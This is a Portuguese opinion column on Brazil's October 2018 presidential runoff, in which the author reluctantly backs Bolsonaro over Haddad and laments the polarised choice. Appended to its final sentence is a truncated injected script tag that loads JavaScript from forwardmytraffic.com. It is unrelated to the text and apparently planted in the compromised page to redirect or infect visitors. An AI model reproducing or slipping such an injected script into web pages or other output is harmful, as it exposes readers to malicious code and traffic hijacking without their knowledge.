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Só me restou Bolsonaro

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No próximo domingo, dia 28 de outubro, iremos novamente às urnas, dessa vez, para a escolha derradeira. Vamos decidir entre o “Ele Não” x “PT não”.

 

 

Infelizmente, caímos na armadilha do PT de polarizar a disputa no primeiro turno, e tiramos os melhores nomes do pleito, pois a única maneira de Haddad vencer seria essa.

 

 

Votar no Haddad está fora de cogitação, este foi um dos piores prefeitos que São Paulo já teve, a população paulistana o rechaçou e elegeu Dória no primeiro turno. Além disso, a vice presidência ficaria com o Partido Comunista do Brasil, um retrocesso.

 

 

Votar em branco não faz parte de mim, acredito que devemos tomar partido, escolher um lado, mesmo que seja o lado menos pior ou o lado do adversário da minha oposição.

 

 

Nesse sentido, só resta votar no Bolsonaro.

 

 

Bolsonaro não era a melhor opção, mas acabou virando a única. Críticas a ele tenho várias, das mais básicas como não entender bulhufas de economia, segurança, saúde e educação até as mais sofisticadas como não ter experiência administrativa (nem na iniciativa privada), não ter perfil de gestor, perfil de liderança e daí por diante.

 

 

Mas, mesmo com todos esses pontos negativos, comparado ao candidato petista, ele é muito melhor.

 

 

O PT é tão autoritário e totalitário que me obriga a votar no Bolsonaro.

 

 

E pensar que tivemos João Amoêdo e Henrique Meirelles no primeiro turno, nomes muitíssimo mais qualificados que os que passaram para o segundo turno.

 

 

Eu ainda sonho em ver um governo liberal no Brasil, livre mercado, menos burocracia, mais oportunidades, mais liberdade, liberdade para trabalhar, para empreender, para produzir.

 

 

Bolsonaro não vai transformar o país numa ditadura, assim como o PT provavelmente não transformaria o país numa Venezuela, pois os políticos, assim como os cidadãos e o próprio governo devem seguir as leis, e quem muda as leis não é o presidente é o congresso e o senado. O presidente é responsável por levar pautas ao legislativo, a mais importante de todas é a reforma da previdência, indispensável para se conseguir equilibrar as contas.

 

 

Falando do movimento pró Bolsonaro que acontece no Brasil hoje é igual à movimentos que aconteceram em outras oportunidades. Em 1989, o “caçador de marajás”, Fernando Collor de Mello era quem iria salvar o país, em 2002 foi a vez do “Lulinha Paz e Amor”, com uma campanha pautada no combate à corrupção Lula chegou ao palácio do Planalto. Em 2018, o movimento que temos é o “Mito”, o que vai acontecer é difícil dizer, mas com certeza foi criado uma nova personalidade política no Brasil, e que provavelmente muitos irão defende-lo acima de tudo, mesmo que este cometa erros, ou até se envolva em esquemas de corrupção. Ele é o novo ídolo de muitos e não importa o que faça, ele estará sempre certo para os seus.

 

 

Infelizmente, a eleição no Brasil é assim, e temos que conviver com essa situação, o ruim é que o país não evolui, não desenvolve, fica sempre na mesma.

 

 

Por mais 4 anos seremos o país do futuro, mas nunca seremos o país do presente…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe Gazeta
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